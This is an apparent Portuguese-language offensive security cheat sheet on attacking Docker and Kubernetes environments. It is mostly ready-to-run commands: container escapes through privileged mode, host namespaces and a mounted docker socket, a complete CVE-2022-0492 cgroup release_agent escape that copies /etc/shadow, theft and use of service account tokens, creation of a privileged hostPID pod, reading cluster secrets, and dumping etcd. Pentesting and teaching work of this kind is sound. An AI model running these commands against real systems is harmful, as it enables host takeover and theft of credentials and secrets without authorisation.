Kaique Mitsuo Silva Yamamoto
Seguranca informacao

Container Security: Docker e Kubernetes

Escape de container, Kubernetes misconfig, pod security, image scanning, supply chain attacks, runtime security — offensive security em ambientes containerizados.

Containers e Kubernetes são a infraestrutura padrão de produção. Misconfigurações aqui levam a cluster takeover, data exfiltration e RCE em produção.


Docker Security

Container Escape

# 1. Privileged container
# Se container roda com --privileged:
docker run --privileged -it ubuntu bash
# Acesso a host devices:
ls /dev/     # Devices do host
mount /dev/sda1 /mnt  # Montar disco do host
chroot /mnt  # Chroot para filesystem do host
# Agora você está "no host"

# 2. Host PID namespace
docker run --pid=host -it ubuntu bash
# Ver processos do host
ps aux
# nsenter para entrar em processos do host
nsenter -t 1 -m -u -i -n -p -- bash

# 3. Host network namespace
docker run --network=host -it ubuntu bash
# Acessar serviços internos do host
curl http://localhost:6379  # Redis
curl http://localhost:2375  # Docker API

# 4. Docker socket mount
docker run -v /var/run/docker.sock:/var/run/docker.sock -it ubuntu bash
# Controlar Docker do host:
docker ps
docker run -v /:/host --privileged -it ubuntu bash
# Montar filesystem do host

# 5. CAP_SYS_ADMIN
docker run --cap-add=SYS_ADMIN -it ubuntu bash
# Montar filesystem:
mkdir /mnt && mount /dev/sda1 /mnt

# 6. cgroup escape (CVE-2022-0492)
# Container com CAP_SYS_ADMIN pode escapar via cgroup release_agent
mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup
mkdir /tmp/cgroup/x
echo 1 > /tmp/cgroup/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgroup/x/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo 0 > /tmp/cgroup/x/cgroup.procs"
cat /output

Docker Image Vulnerabilities

# Scan de imagens
trivy image nginx:latest
grype nginx:latest

# Procurar secrets em imagens
docker history --no-trunc nginx:latest
# Procurar RUN com chaves/credenciais

# Extrair filesystem de imagem
docker save nginx:latest -o nginx.tar
mkdir nginx && tar -xf nginx.tar -C nginx/
# Analisar layers

# Dockerfile analysis
# Procurar por:
# - USER root (roda como root)
# - COPY . /app (copia tudo, incluindo .env)
# - RUN apt-get install sem pin de versão
# - ENV com secrets
# - EXPOSE de portas internas

Kubernetes Security

Enumeration

# Dentro de um pod:
# Service Account Token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# API Server
KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -s https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/api/v1/namespaces \
  -H "Authorization: Bearer $KUBE_TOKEN" --insecure

# Enum namespace atual
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace

# DNS discovery
nslookup kubernetes.default
nslookup *.svc.cluster.local

# Environment variables (pod metadata)
env | grep KUBERNETES

RBAC Enumeration

# Com kubectl
kubectl auth can-i --list
kubectl auth can-i get pods --all-namespaces
kubectl auth can-i create pods
kubectl auth can-i exec pods
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*'  # Se sim → cluster-admin

# API Server (sem kubectl)
curl -s https://$KUBERNETES_SERVICE_HOST/api/v1 -H "Authorization: Bearer $TOKEN" --insecure

# Automatizado com kubehound ou kubectl-who-can
kubectl-who-can get secrets
kubectl-who-can exec pods

Privilege Escalation

# 1. Pod com hostPath mount
# Se pod monta / do host:
kubectl get pods -o jsonpath='{range .items[*]}{.spec.containers[*].volumeMounts[*].mountPath}{"\n"}{end}'
# Se monta / → ler/escrever qualquer arquivo do host

# 2. Pod com service account privilegiado
# Se SA tem permissões de cluster-admin:
kubectl get clusterrolebinding -o json | jq '.items[] | select(.subjects[].name=="default")'

# 3. Pod security context: privileged
kubectl get pods -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged==true)'

# 4. Pod com hostPID ou hostNetwork
kubectl get pods -o json | jq '.items[] | select(.spec.hostPID==true or .spec.hostNetwork==true)'

# 5. Token de service account com permissões amplas
# Usar token para criar clusterrolebinding:
curl -X POST https://kubernetes.default/api/v1/namespaces/default/pods \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"priv-pod"},"spec":{"containers":[{"name":"priv","image":"ubuntu","command":["sleep","3600"],"securityContext":{"privileged":true}}],"hostPID":true}}'

Secrets Access

# Listar secrets
kubectl get secrets --all-namespaces

# Ler secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d

# Secret via API
curl -s https://kubernetes.default/api/v1/namespaces/default/secrets \
  -H "Authorization: Bearer $TOKEN" --insecure | jq '.items[].data'

# Etcd (backend do k8s — dados em texto plano!)
# Se acesso ao etcd:
ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
  --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
  get /registry/secrets --prefix --keys-only

Ferramentas

# kube-hunter (automated k8s security)
kube-hunter --remote 10.0.0.0/24

# kubeletctl (interact with kubelet)
kubeletctl scan --cidr 10.0.0.0/24
kubeletctl pods -s 10.0.0.10
kubeletctl exec "id" -s 10.0.0.10 -p namespace/pod/container

# Peirates (k8s privilege escalation)
# Dentro do pod:
./peirates

# trivy (image + IaC scanning)
trivy image nginx:latest
trivy k8s --report summary cluster

# Falco (runtime detection — defensive)
# Detecta atividades suspeitas em runtime

Supply Chain — Container

# 1. Typosquatting de imagens
# Imagem com nome similar à oficial:
# ubuntuu/ubuntu, nginxg/nginx, nodee/node

# 2. Base image com vulnerabilidades
# Imagens não atualizadas contêm CVEs
# Use: trivy image myapp:latest

# 3. Dockerfile com secrets
# COPY .env /app/.env
# ENV DB_PASSWORD=secret123

# 4. CI/CD pipeline poisoning
# Se Dockerfile é controlado pelo attacker
# Ele pode injetar backdoor em todas as builds

# 5. Registry poisoning
# Se attacker acessa registry (Docker Hub, ECR)
# Pode substituir imagens por versões maliciosas

Referências

On this page